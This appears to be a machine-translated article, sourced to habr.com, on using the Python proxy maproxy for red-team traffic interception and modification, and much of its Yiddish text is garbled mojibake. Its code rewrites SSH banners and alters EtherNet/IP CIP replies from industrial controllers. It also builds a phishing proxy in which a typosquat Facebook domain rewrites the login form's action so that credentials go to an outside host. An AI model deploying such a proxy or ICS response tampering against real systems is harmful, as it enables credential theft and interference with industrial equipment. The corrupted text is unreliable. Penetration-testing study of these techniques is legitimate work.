ืื ืืืืขืจืืขืฆืื ื ืคืื ืืขื ืึทืจืืืงื ืืื ืืขืืืขื ืฆืืืขืืจืืื ืืืืฃ ืื ืขืจืขืื ืคืื ืื ืึธื ืืืื ืคืื ืื ืงืืจืก .
ืึทื ืึธืืึทืฆืืข
ื ืคืึทืจืฉืืืื ืงืืึทื ืคืื ืืืืคึผืก ืคืื ืืืืขืจืืืื ืึทืกืขืกืืึทื ืฅ, ืจืืื ืืืฉืื ื ืคืื ืจืขืืืืขืจ ืืืจืืืจืื ื ืืขืกืืื ื ืืื ืจืขื ืืึทื ืฉืึทืคึฟื ืึทืคึผืขืจืืืฉืึทื ื ืฆื ืืึทืงืื ื IoT/ICS ืืขืืืืกืขืก ืืื SCADA, ืื ืืืึทืืืื ืืจืืขืื ืืื ืืืื ืขืจื ื ืขืฅ ืคึผืจืึธืืึธืงืึธืืก, ืืึธืก ืืื, ืืืืกืืงืื ืื ืืขืจืกืขืคึผืืื ื ืืื ืืึธืืืคืืฆืืจื ื ืขืฅ ืืึทืื ืฆืืืืฉื ืืขื ืงืืืขื ื ืืื ืื ืฆืื. ืกื ืืคืื ื ื ืขืฅ ืคืึทืจืงืขืจ ืืื ื ืืฉื ืึท ืฉืืืขืจ ืึทืจืืขื ืืื ื ืืืจ ืืึธืื ืืืฉืืจืื ืืื Wireshark, Tcpdump ืึธืืขืจ Scapy, ืึธืืขืจ ืืึธืืืคืืงืึทืืืึธื ืกืืื ืฆื ืืืื ืึท ืืขืจ ืึทืจืืขื-ืืื ืืขื ืกืืืืข ืึทืจืืขื ืืื ื ืืืจ ืืึทืจืคึฟื ืฆื ืืึธืื ืึท ืืื ืคืื ืฆืืืื ื ืฆื ืืืืขื ืขื ืื ื ืขืฅ ืืึทืื, ืคืืืืขืจ ืขืก, ืืืืฉื. ืขืก ืืืืฃ ืื ืคืืืขื ืืื ืฉืืงื ืขืก ืฆืืจืืง ืฆื ืืขืจ ืฆืื ืืึทืืขืืึธืก ืืื ืึผืืขื ืคืึทืงืืืฉ ืฆืืื. ืืื ืึทืืืฉืึทื, ืขืก ืืืึธืื ืืืื ืืืขืึทื ืืืื ืึทืืึท ืึท ืืขืฆืืึทื ืงืขื ืืืืืึธืืึทืืืฉ ืึทืจืืขืื ืืื ืงืืืคื ืคึผืึทืจืึทืืขื ืงืึทื ืขืงืฉืึทื ื ืืื ืืืื ืงืืกืืึธืืืืึทืืืข ื ืืฆื ืกืงืจืืคึผืก.
ืืืื ืืึธื ืืื ืืืกืงืึทืืืขืจื ืึท ืืขืฆืืึทื ืืขืจืืคื , ืื ืืึทืงืืืืขื ืืืืฉืึทื ืืขืฉืืืื ื ืืขืืืื ืขืก ืงืืึธืจ ืฆื ืืืจ ืึทื maproxy - ืคึผืื ืงื ืืืึธืก ืืื ืืึทืจืคึฟื. ืืึธืก ืืื ืึท ืคืขืจืื ืคึผืฉืื, ืืืขืจืกืึทืืึทื ืืื ืืืืื ืงืึทื ืคืืืืขืจืึทืืึทื TCP ืคืจืืงืกื. ืืื ืืขืกืืขื ืืขื ืืขืฆืืึทื ืืืืฃ ืขืืืขืืข ืคืขืจืื ืงืึธืืคึผืืขืงืก ืึทืคึผืืึทืงืืืฉืึทื ื, ืึทืจืืึทื ืืขืจืขืื ื ICS ืืขืืืืกืขืก (ืืืึธืก ืืืฉืขื ืขืจืืื ืึท ืคึผืืึทืฅ ืคืื ืคึผืึทืงืืฅ) ืฆื ืืขื ืืืื ืขืก ืงืขื ืฉืขืคึผื ืคืืืข ืคึผืึทืจืึทืืขื ืงืึทื ืขืงืฉืึทื ื, ืืื ืื ืืขืฆืืึทื ืืื ืืขืืืขื ืืื.
ืืขืจ ืึทืจืืืงื ืืืขื ืืึทืงืขื ืขื ืืืจ ืฆื ืคึผืจืึทืกืขืกืื ื ื ืขืฅ ืืึทืื ืืืืฃ ืื ืคืืืขื ื ืืฆื maproxy.
ืึธืคึผืฉืึทืฆืื ื
ืงืืืืข maproxy ืืื ืืืืืจื ืืืืฃ ืืึธืจื ืึทืืึธ, ืึท ืคืึธืืงืก ืืื ืืขืจืืืึทืงืกื ืืืกืื ืืงืจืึทื ืึทืก ื ืขืืืืึธืจืงืื ื ืคืจืืืืืืขืจืง ืืื ืคึผืืืืึธื.
ืืื ืึทืืืขืืืื, ืขืก ืงืขื ืขื ืึทืจืืขืื ืืื ืขืืืขืืข ืืึธืืขืก:
TCP:TCP- ืึทื ืขื ืงืจืืคึผืืื TCP ืงืึทื ืขืงืฉืึทื ื;TCP:SSLะธSSL:TCP- ืืื ืืืื-ืืืขื ืขื ืงืจืืคึผืฉืึทื;SSL:SSL- ืฆืืืื-ืืืขื ืขื ืงืจืืคึผืฉืึทื.
ืขืก ืงืืื ืืื ืึท ืืืืืืึธืืขืง. ืคึฟืึทืจ ืึท ืฉื ืขื ืึธื ืืืื, ืืืจ ืงืขื ืขื ื ืืฆื ืืืืฉืคืืื ืืขืงืขืก ืืืึธืก ืคืึทืจืืจืึทืืื ืืื ืื ืืืืคึผื :
all.pycertificate.pemlogging_proxy.pyprivatekey.pemssl2ssl.pyssl2tcp.pytcp2ssl.pytcp2tcp.py
ืคืึทื 1 - ืคึผืฉืื ืืืืืืจืขืงืืืึธื ืึทื ืคึผืจืึทืงืกื
ืืืืืจื ืืืืฃ tcp2tcp.py:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
ืืืจื ืคืขืืืงืืึทื ProxyServer() ื ืขืื ืฆืืืื ืึทืจืืืืขื ืื - ืื ืงืฉืจ ืึธืจื ืืื ืื ืฆืื ืคึผืึธืจื. server.listen() ื ืขืื ืืืื ืึทืจืืืืขื ื - ืื ืคึผืึธืจื ืคึฟืึทืจ ืฆืืืขืืขืจื ืฆื ืื ืื ืงืึทืืื ื ืงืฉืจ.
ืขืงืกืึทืงืืืืื ื ืื ืฉืจืืคื:
# python tcp2tcp.py
ืืื ืกืืจ ืฆื ืืืืคื ืื ืคึผืจืึธืืข, ืืืจ ืืืขืื ืคืึทืจืืื ืื ืฆื ืึท ืืืืข SSH ืกืขืจืืืขืจ ืืืจื ืืื ืืืขืจ ืคึผืจืึทืงืกื ืฉืจืืคื, ืืืึธืก ืืืกืึทื ื ืืืืฃ 2222/tcp ืคึผืึธืจื ืืื ืงืึทื ืขืงืฅ ืฆื ืึท ื ืึธืจืืึทื ืคึผืึธืจื 22/tcp SSH ืกืขืจืืืขืจืก:
ืืขืจ ืืึทืืจืืกืื ื ืคืึธื ืื ืคืึธืจืื ืืืจ ืึทื ืืื ืืืขืจ ืืืืฉืคึผืื ืฉืจืืคื ืืื ืืฆืืื ืคึผืจืึทืงืกืืื ื ืขืฅ ืคืึทืจืงืขืจ.
ืคืึทื 2 - ืืึทืื ืืึธืืืคืืงืึทืืืึธื
ืื ืื ืืขืจ ืืขืืึธ ืฉืจืืคื logging_proxy.py ืืืขืึทื ืคึฟืึทืจ ืื ืืขืจืึทืงืืื ื ืืื ื ืขืฅ ืืึทืื. ืื ืืึทืืขืจืงืื ืืขื ืืื ืืขืจ ืืขืงืข ืืึทืฉืจืืึทืื ืื ืงืืึทืก ืืขืืืึธืืก ืึทื ืืืจ ืงืขื ืขื ืืึธืืืคืืฆืืจื ืฆื ืืขืจืืจืืืื ืืืื ืฆืื:
ืื ืืขืจืกื ืืฉืืงืึทืืืข ืืึทื ืืื ืืึธ:
on_c2p_done_read- ืฆื ืื ืืขืจืกืขืคึผื ืืึทืื ืคืื ืืขื ืงืืืขื ื ืฆื ืื ืกืขืจืืืขืจ;on_p2s_done_read- ืคืึทืจืงืขืจื.
ืืึธืืืจ ืคึผืจืืืืจื ืฆื ืืืืฉื ืื SSH ืืึทื ืขืจ ืึทื ืืขืจ ืกืขืจืืืขืจ ืงืขืจื ืฆื ืืขื ืงืืืขื ื:
[โฆ]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[โฆ]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[โฆ]ืืืกืคืืจื ืืขื ืฉืจืืคื:
ืืื ืืืจ ืงืขื ืขื ืืขื, ืืขืจ ืงืืืขื ื ืืื ืืขืืืขื ืคืึทืจืคืืจื ืืืืึทื ืื SSH ืกืขืจืืืขืจ ื ืึธืืขื ืคึฟืึทืจ ืืื ืืื ืืขืืืื ืฆื ยซDumnySSHยป.
ืคืึทื 3 - ืคึผืฉืื ืคืืฉืื ื ืืืขื ืืืึทื
ืขืก ืืขื ืขื ืกืึธืฃ ืืืขืื ืฆื ื ืืฆื ืืขื ืืขืฆืืึทื. ืืึธืก ืืึธื ืืึธืื ืืื ืื ืคืึธืงืืก ืืืืฃ ืขืคึผืขืก ืืขืจ ืคึผืจืึทืงืืืฉ ืคึฟืื ืื ืจืขื ืืึทื ืฉืึทืคึฟื ืึทืคึผืขืจืืืฉืึทื ื ืืืึทื. ืืึธืืืจ ื ืึธืืืึทืื ืื ืืึทื ืืื ื ืืืึทื m.facebook.com ืืื ื ืืฆื ืึท ืื ืื ืคืขืื ืืื ืึท ืืืืืืจืึทื ืืืคึผืึธ, ืืืฉื, m.facebok.com. ืคึฟืึทืจ ืืขืืึทื ืกืืจืืืฉืึทื ืฆืืืขืงื, ืืึธืื ืืื ืื ื ืึธืจ ืืืขืจื ืขืืขื ืึทื ืื ืคืขืื ืืื ืจืขืืืกืืจืืจื ืืืจื ืืื ืื.
ืืืจ ืืืขืื ืคืึทืจืืืืื ืึทื ืึทื ืขื ืงืจืืคึผืืื ื ืขืฅ ืคึฟืึทืจืืื ืืื ื ืืื ืืื ืืืขืจ ืืืืงืืืืก ืคึผืจืึทืงืกื ืืื ืกืกื ืกืืจืื ืฆื ืื Facebook ืกืขืจืืืขืจ (31.13.81.36). ืฆื ืืึทืื ืืขื ืืืึทืฉืคึผืื ืึทืจืืขื, ืืืจ ืืึทืจืคึฟื ืฆื ืคืึทืจืืืึทืื ืื ืืืืคึผ ืืึทืืขืืึธืก ืืขืืขืจ ืืื ืึทืจืืึทื ืฉืคึผืจืืฆื ืื ืจืืืืืง ืืึธืกืื ืึทืืข, ืืื ืืืจ ืืืขืื ืืืื ืืืกืืืืึทื ืขื ืืคืขืจ ืงืึทืืคึผืจืขืฉืึทื ืึทืืื ืืืจ ืงืขื ืขื ืืืืื ืึทืงืกืขืก ืื ืืื ืืึทืื. ืืขืกืึธืฃ, ืืืจ ืืืขืื ืคืึทืจืืืึทืื ืื HTML ืคืึธืจืขื ืึทืืื ืึทื ืื ืืึธืืื ืงืจืึทืืขื ืืฉืึทืื ืืขื ืขื ืืขืฉืืงื ืฆื ืืื ืื ืึทื ืฉืืึธื ืคืื ืคืึทืกืขืืึธืึธืง ืกืขืจืืืขืจืก:
[โฆ]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[โฆ]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/yi/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[โฆ]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[โฆ]ืืื ืงืืฆืขืจ:
ืืื ืืืจ ืงืขื ืขื ืืขื, ืืืจ ืืขื ืขื ืืฆืืื ืืืืืืช ืฆื ืคืึทืจืืืึทืื ืื ืึธืจืืืื ืขื ืคึผืืึทืฅ.
ืคืึทื 4 - ืคึผืึธืจืืื ื ืขืืืขืจื ืขื / IP
ืืื ืืึธืื ืฉืืื ืืืืื ื ืืื ืื ืืึทืกืืจืืึทื ืืขืืืืกืขืก ืืื ืืืืืืืืืจื (ICS / SCADA) ืคึฟืึทืจ ืืึทื ืฅ ืขืืืขืืข ืืึธื, ืึทืืึท ืืื ืคึผืจืึธืืืจืึทืืึทืืึทื ืงืึทื ืืจืึธืืืขืจื (ืคึผืืง), ื / ืึธ ืืึทืืืฉืืื, ืืจืืืืื, ืจืืืืื, ืืืืืขืจ ืคึผืจืึธืืจืึทืืืื ื ืื ืืืืืจืึทื ืืึทื ืฅ ืืื ืคืืืข ืืขืจ. ืืขืจ ืคืึทื ืืื ืคึฟืึทืจ ืื ืืืืก ืืื ืื ืืึทืกืืจื. ืืึทืงืื ื ืึทืืึท ืกืึทืืืฉืึทื ื ืื ืืืึทืืืื ืึทืงืืืืืื ืคึผืืืืื ื ืืื ื ืขืฅ ืคึผืจืึธืืึธืงืึธืืก. ืืื ืื ืคืืืืขื ืืข ืืืึทืฉืคึผืื, ืืื ืืืึธืื ืืื ืฆื ืืืืึทืื ืืื ืืืจ ืงืขื ืขื ืืึธืืืคืืฆืืจื ICS / SCADA ื ืขืฅ ืคืึทืจืงืขืจ.
ืคึฟืึทืจ ืืขื ืืืจ ืืืขื ืืึทืจืคึฟื ืื ืคืืืืขื ืืข:
- ื ืขืฅ ืกื ืืคืขืจ, ืคึฟืึทืจ ืืืึทืฉืคึผืื, Wireshark;
- ืขืืืขืจื ืขื / IP ืึธืืขืจ ื ืึธืจ ืึท ืืืคึผื ืืืื, ืืืจ ืงืขื ืขื ืืขืคึฟืื ืขื ืขืก ืืื ืื Shodan ืืื ืกื;
- ืืื ืืืขืจ ืฉืจืืคื ืืื ืืืืืจื ืืืืฃ
maproxy.
ืขืจืฉืืขืจ, ืืึธืืืจ ืงืืง ืืื ืึท ืืืคึผืืฉ ืืขืืืืืืึทืฆืืข ืขื ืืคืขืจ ืคืื CIP (Common Industrial Protocol) ืงืืงื ืืื:
ืืืื ืืขืืืืืืึทืฆืืข ืืื ืืืจืืืขืงืึธืื ืืื ืื ืขืืืขืจื ืขื / IP ืคึผืจืึธืืึธืงืึธื, ืืืึธืก ืืื ืึท ืขื ืืึทื ืกื ืืืขืจืกืืข ืคืื โโโโืื ืื ืืึทืกืืจืืึทื ืขืืืขืจื ืขื ืคึผืจืึธืืึธืงืึธื ืืืึธืก ืจืึทืคึผืก ืงืึธื ืืจืึธื ืคึผืจืึธืืึธืงืึธืืก ืึทืืึท ืืื CIP. ืืืจ ืืืขืื ืืืืฉื ืื ืืืืืืืืื ืฉืืึทื ื ืึธืืขื ืืืึธืก ืืื ืงืขื ืืืง ืืื ืื ืกืงืจืขืขื ืฉืึธื "NI-IndComm ืคึฟืึทืจ ืขืืืขืจื ืขื" ื ืืฆื ืืื ืืืขืจ ืคึผืจืึทืงืกื ืฉืจืืคื. ืืืจ ืงืขื ืขื ืืืืืขืจ ื ืืฆื ืืขื ืฉืจืืคื logging_proxy.py ืืื ืกืืืืืึทืจืื ืืึธืืืคืืฆืืจื ืื ืงืืึทืก ืืืคึฟื on_p2s_done_read, ืืืืึทื ืืืจ ืืืขืื ืึทื ืึท ืึทื ืืขืจืฉ ืืืืขื ืืืืขื ื ืึธืืขื ืืึธื ืืืื ืงืขื ืืืง ืืืืฃ ืืขื ืงืืืขื ื.
ืงืึธื:
[โฆ]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[โฆ]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[โฆ]
ืืกืขื ืฉืึทืื, ืืืจ ืืขืืขืื ืคึฟืึทืจ ืืืื ืืขืืืืืืึทืฆืืข ืฆืืืื ืืึธื, ืื ืจืืข ืขื ืืคืขืจ ืืื ืืขืืืขื ืืขืจ ืึธืจืืืื ืขื, ืืื ืืขืจ ืขืจืฉืืขืจ ืืื ืืึทืืึทืคืืื ืืืืฃ ืื ืคืืืขื.
ืืื ืื ืืขืฆืืข
ืืื ืืืื ืืืื ืื ื maproxy ื ืืึทืงืืืขื ืืื ืคึผืฉืื ืืขืฆืืึทื, ืืืึธืก ืืื ืืืื ืืขืฉืจืืื ืืื ืคึผืืืืึธื, ืึทืืื ืืื ืืืืืื ืึทื ืืืจ ืืืื ืงืขื ืขื ื ืืฅ ืคืื ื ืืฆื ืขืก. ืคืื ืงืืจืก, ืขืก ืืขื ืขื ืืขืจ ืงืึธืืคึผืืืฆืืจื ืืืฉืืจืื ืคึฟืึทืจ ืคึผืจืึทืกืขืกืื ื ืืื ืืึทืืึทืคืืืื ื ื ืขืฅ ืืึทืื, ืึธืืขืจ ืืื ืืืื ืืึทืจืคื ืืขืจ ืืคืืขืจืงืืึทืืงืืื ืืื ืืขื ืขื ืืืืฉืึทืืืึทืื ืืืฉืืคื ืคึฟืึทืจ ืึท ืกืคึผืขืฆืืคืืฉ ื ืืฆื ืคืึทื, ืืืฉื. , ืึธืืขืจ ืคึฟืึทืจ ืงืึทืกืขืก ืขื ืืขื ืฆื ืื ืืจืื, ืึธืืขืจ ืคึฟืึทืจ ืื ืืขืฆืืข ืคืึทื. ืืืื ืืืขื ืึธืืขืจ ืื ืืขืจื, ืืื ืื ืืืืฃ maproxy ืืืจ ืงืขื ืขื ืืขืฉืืืื ื ืื ืกืืจืืืขื ื ืืืื ืืืืืึทื ืคึฟืึทืจ ืื ืืขืจืกืขืคึผืืื ื ื ืขืฅ ืืึทืื, ืืืืึทื ืื ืืืืฉืคึผืื ืกืงืจืืคึผืก ืืขื ืขื ืืืืขืจ ืงืืึธืจ.
ืืงืืจ: www.habr.com